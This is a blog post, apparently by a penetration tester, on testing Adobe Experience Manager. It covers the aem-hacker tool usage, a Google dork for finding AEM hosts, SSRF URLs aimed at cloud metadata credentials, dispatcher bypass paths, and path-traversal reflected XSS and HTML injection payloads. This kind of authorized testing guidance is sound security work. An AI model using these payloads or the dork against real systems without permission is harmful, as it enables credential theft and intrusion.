Pentesting Adobe Experience Manager in 2024

 
AEM is well-known in bug bounty programs. While Adobe frequently releases new CVEs (though, they are mainly undisclosed XSS vulnerabilities) through its private bug bounty program, no new AEM exploits have appeared on the market. However, as pentesters working under NDAs, we still encounter these applications for reqular checks, and we must pay close attention to every little detail to produce valuable and interesting reports. Here I describe my approach to AEM pentesting conducted mainly on production hosts.

At the time of writing the newest version is 6.5.21.0 with no known CVEs: list.

Google dork for AEMs

inurl:/libs/granite/core

Contents

  • aem-hacker
  • Testing for SSRF
  • WCM Debug Filter
  • Vulnerable Javascript libraries
  • Information disclosure
  • Files
  • Bypass techniques
  • Reflected XSS (2021)
  • HTML Injection
  • Summary

I will update this post in the future with more examples.

aem-hacker

Always start with the toolset called aem-hacker. Though it was developed 6 years ago and the vulnerabilities were patched by Adobe, it's still useful and gives a lot of clues of what to do next. Aem-hacker will not exploit the application by itself, so if it detects any potential flaw, it has to be manually verified.
Usage:
usage: aem_hacker.py [-h] [-u URL] [--proxy PROXY] [--debug] [--host HOST]
                     [--port PORT] [--workers WORKERS]
                     [-H [HEADER [HEADER ...]]] [--handler HANDLER]
                     [--listhandlers]

AEM hacker by @0ang3el, see the slides -
https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     url to scan
  --proxy PROXY         http and https proxy
  --debug               debug output
  --host HOST           hostname or IP to use for back connections during SSRF
                        detection
  --port PORT           opens port for SSRF detection
  --workers WORKERS     number of parallel workers
  -H [HEADER [HEADER ...]], --header [HEADER [HEADER ...]]
                        extra http headers to attach
  --handler HANDLER     run specific handlers, if omitted run all handlers
  --listhandlers        list available handlers

Each handler represents one vulnerability that can be found in different ways and on different paths. Normally, we could run this tool on our target with default settings, but if we're testing production host and our RoE is Read-Only, we have to control what handlers can be used. Additionally, I recommend always running aem-hacker with Burp's proxy to verify server responses and how the errors are handled. For maximum security from our side, I use following handlers, which should not perform any write operations on the application:
  • get_servlet
  • querybuilder_servlet
  • gql_servlet
  • felix_console
  • wcmdebug_filter
  • wcmsuggestions_servlet
  • crxde_crx
  • swf_xss
  • reports
Also, no SSRF handlers are used here, it's better to check what and when exactly is sent from the server and keep it under control - I describe it in the next step.
Finally, command to use with specified handlers.
Template:
python3 aem_hacker.py -u https://url --proxy 127.0.0.1:8080 -H "User-agent: tester" --handler (...) --host <burp_collabolator>
With handlers:
python3 aem_hacker.py -u https://url --proxy 127.0.0.1:8080 -H "User-agent: tester" --handler get_servlet --handler querybuilder_servlet --handler gql_servlet --handler felix_console --handler wcmdebug_filter --handler wcmsuggestions_servlet --handler crxde_crx --handler swf_xss --handler reports --host <burp>

Testing for SSRF (Server-Side Request Forgery)

Potential SSRF vulnerabilities can be verified with these examples provided by Adobe (link):
  • http://publishurl:pubishport/libs/mcm/salesforce/customer.html%3b%0aa.css?checkType=authorize&authorization_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ManagedServicesBigBearInstance&customer_key=zzzz&customer_secret=zzzzredirect_uri=xxxx&code=e
  • http://authorandpublishurl:port/libs/mcm/salesforce/customer.html%3b%0aa.css?checkType=authorize&authorization_url=http://169.254.169.254/latest/metadata/iam/security-credentials/ManagedServicesBigBearInstance&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e

WCM Debug Filter

If aem-hacker discovers that ?debug=layout is enabled, it means that the application is potentially vulnerable to reflected XSS, but the tool doesn't say where. If simple /<img>?debug=layout doesn't display img tag, then you should look for .html pages that have query parameters inserted into page source, hoping that those parameters will be displayed in debug forms. Keep in mind that this vuln is 6 years old so fiding it now would a miracle.

Vulnerable Javascript libraries

Before you waste time on vulnerable jQuery or other libraries, verify if Adobe already stated that AEM uses custom versions of Javascript libraries, like 1.12.4-aem (link).

Information disclosure

Check for HTTP responses to aem-hacker requests in your Burp, as they will often contain error details. Especially if Querybuilder was found, check for information disclosure like usernames, internal hosts, full paths, also site structure.

Files

Discover application content by browsing it with Burp (use also Content discovery). Look for paths containing:
  • /_jcr_content/ (or _jcr_content.html)
  • /content/
  • /content/dam/
Files found in these catalogs are public by design. You should look for:
  • any sensitive information inside these files (author, software used, PII)
  • test files
  • temporary/old files
  • files uploaded by mistake

Bypass techniques

Check for dispatcher bypass different from aem-hacker.
JSON Get Servlet (found on twitter):
/conten/.1.json 
/conten/t.1.json
/content.tidy.1.json
/conten/.tidy.infinity.json
/content.json

Reflected XSS (2021)

Reflected XSS found on youtube, sample steps to find:
/crx/de/setPreferences.jsp;.html
/content/......../crx/de/setPreferences.jsp;.html
/content/..;/crx/de/setPreferences.jsp;
/content/..;/crx/de/setPreferences.jsp
/content/..;/crx/de/setPreferences.jsp?language=en
/content/..;/crx/de/setPreferences.jsp?language=en&keymap=test
/content/..;/crx/de/setPreferences.jsp;.html?language=en&keymap=<h1>test</h1>
Sample exploits:
/content/..;/crx/de/setPreferences.jsp;.html?language=en&keymap=test<img src=1 onerror=prompt(1)></img>
/content/..;/crx/de/setPreferences.jsp;%0A.js?language=en&keymap=test<img src=1 onerror=prompt(1)></img>

HTML Injection

Check for HTML injection using the childrenlist selector (found on twitter):
/content/<h1>test</h1>.childrenlist.json
/content/<h1>test</h1>.childrenlist.html

Summary

While pentesting AEM solutions, we don't have to limit ourselves to aem-hacker. There are multiple different techniques to try and a lot of vulnerabilities can be found. Not all AEMs are the same so we have to adapt tests to what we see in the application, applying of course regular OWASP checks to it.

Comments

Post a Comment